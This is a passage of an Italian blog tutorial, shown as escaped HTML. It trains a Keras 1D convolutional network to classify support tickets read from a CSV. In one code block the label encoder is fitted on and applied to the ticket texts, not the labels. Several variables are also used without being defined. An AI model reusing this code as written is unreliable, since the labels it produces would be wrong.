è la &lt;strong&gt;Grid Search&lt;/strong&gt; per svolgere l&amp;#x27;&lt;a href=&quot;https://en.wikipedia.org/wiki/Hyperparameter_optimization&quot;&gt;&lt;em&gt;ottimizzazione dei parametri&lt;/em&gt;&lt;/a&gt; in modo rapido e semplice.&lt;/p&gt;&lt;p&gt;Sia il concetto di Pipeline che di Grid Search sono approfonditi e utilizzati nel codice presente sul repository &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2 id=&quot;2-classificazione-testuale-con-reti-neurali-convolutive&quot;&gt;2. Classificazione testuale con Reti Neurali convolutive&lt;/h2&gt;&lt;p&gt;Un altro algoritmo molto adatto a svolgere task di classificazione testuale è quello delle reti neurali convolutive, in particolare le reti
con layer convolutivi a 1 dimensione, che svolgono cioè delle operazioni di convoluzione temporale, mentre i layer convolutivi a 2 dimensioni si adattano
maggiormente all&amp;#x27;elaborazione e l&amp;#x27;analisi delle immagini. Per approfondimenti sulle differenze:
&lt;a href=&quot;https://missinglink.ai/guides/keras/keras-conv1d-working-1d-convolutional-neural-networks-keras/&quot;&gt;https://missinglink.ai/guides/keras/keras-conv1d-working-1d-convolutional-neural-networks-keras/&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Vediamo ora come addestrare un modello per la classificazione dei ticket attraverso algoritmi di questo tipo.
Lo facciamo utilizzando come libreria di supporto &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras&quot;&gt;&lt;em&gt;Tensorflow Keras&lt;/em&gt;&lt;/a&gt;.
Ipotizziamo sempre di avere a disposizione in un file csv i nostri ticket già preprocessati e &amp;quot;puliti&amp;quot;.&lt;/p&gt;&lt;p&gt;Comer per l&amp;#x27;approccio con il Classificatore Bayesiano, per prima cosa importiamo il contenuto del csv in un Pandas dataframe.
Successivamente estraiamo il testo e le etichette e costruiamo due liste apposite.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pandas &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;df_tickets = pd.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;input/all_tickets.csv&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;body&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;labels_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;category&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - Lettura dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Ora passiamo all&amp;#x27;attività di trasformazione dei dati, e in questo caso utilizziamo un trasformazione di tipo &lt;em&gt;text to sequence of numbers&lt;/em&gt;. Ogni
contenuto testuale viene trasformato in una sequenza di interi, dove ogni intero mappa un termine in un vocabolario apposito.
Per fare ciò utilizziamo un utility definita da Keras con la classe
&lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/text/Tokenizer&quot;&gt;&lt;strong&gt;tf.keras.preprocessing.text.Tokenizer&lt;/strong&gt;&lt;/a&gt;.
Trasformati i dati, viene fatto lo split in train e test set e poi il padding delle sequenze ad una lunghezza massima definita analizzando il dataset a priori.
Vengono anche trasformate le etichette attraverso un &lt;a href=&quot;https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.LabelEncoder.html&quot;&gt;&lt;strong&gt;LabelEncoder&lt;/strong&gt;&lt;/a&gt;,
anche se per questo dataset le etichette già sono definite come interi. Questo passo
è fondamentale quando le etichette non sono degli interi.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.preprocessing.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Tokenizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tokenizer = Tokenizer(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27; &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tokenizer.fit_on_texts(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X = tokenizer.texts_to_sequences(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;values = np.array(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# integer encode&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;label_encoder = LabelEncoder()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;label_encoder.fit(values)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;Y = label_encoder.transform(text_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train, X_test, Y_train, Y_test = train_test_split(X, Y, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;random_state&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# padding sequences to maxlen&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Pad sequences (samples x time)&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train = sequence.pad_sequences(X_train, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_test = sequence.pad_sequences(X_test, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;x_train shape:&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, X_train.shape)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;x_test shape:&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, X_test.shape)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - Traformazione dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Segue a questo punto la definizione dell&amp;#x27;architettura del modello, la definizione degli iperparametri e l&amp;#x27;addestramento vero e proprio.
L&amp;#x27;addestramento è controllato da un&amp;#x27;approccio di tipo &lt;a href=&quot;https://en.wikipedia.org/wiki/Early_stopping&quot;&gt;&lt;em&gt;Early Stopping&lt;/em&gt;&lt;/a&gt;
per prevenire eventuali fenomeni di &lt;a href=&quot;https://it.wikipedia.org/wiki/Overfitting&quot;&gt;&lt;em&gt;Overfitting&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.models &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Sequential&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Dense, Dropout, Activation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Embedding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; GlobalAveragePooling1D, Conv1D, GlobalMaxPooling1D&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.callbacks &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; EarlyStopping&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;batch_size = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;epochs = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# number of epochs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;filters = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;kernel_size = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;hidden_dims = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;embedding_dim = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Build model...&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Sequential()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# we start off with an efficient embedding layer which maps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# our vocab indices into embedding_dims dimensions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; use_pretrained_embeddings: &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    model.add(Embedding(max_features+&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        embedding_dim,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        , &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;weights&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [embedding_matrix], &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;trainable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;using pretrained embeddings&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    model.add(Embedding(max_features+&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        embedding_dim,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;input_length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=maxlen))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;using embeddings from scratch&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dropout(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# we add a Convolution1D, which will learn filters&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# word group filters of size filter_length:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Conv1D(filters,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 kernel_size,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;valid&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;activation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;relu&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                 &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;strides&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# we use max pooling:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(GlobalMaxPooling1D())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# We add a vanilla hidden layer:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dense(hidden_dims))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dropout(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Activation(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;relu&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# We project onto a single unit output layer, and squash it with a softmax:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Dense(n_outputs))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.add(Activation(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;softmax&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.compile(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;loss&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;sparse_categorical_crossentropy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;optimizer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;adam&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;metrics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;accuracy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;callback = EarlyStopping(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;val_loss&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min_delta&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;patience&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;verbose&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;auto&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseline&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;restore_best_weights&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;history = model.fit(np.array(X_train), np.array(Y_train),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;batch_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=batch_size,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;epochs&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=epochs,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;validation_split&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;callbacks&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [callback])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Training del modello&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il modello può essere anche in questo caso salvato e riutilizzato dove necessario. E cosi come con Scikit Learn è possibile
realizzare un approccio di tipo end-to-end per evitare di dover ogni volta svolgere trasformazioni sull&amp;#x27;input. Una strategia possibile è
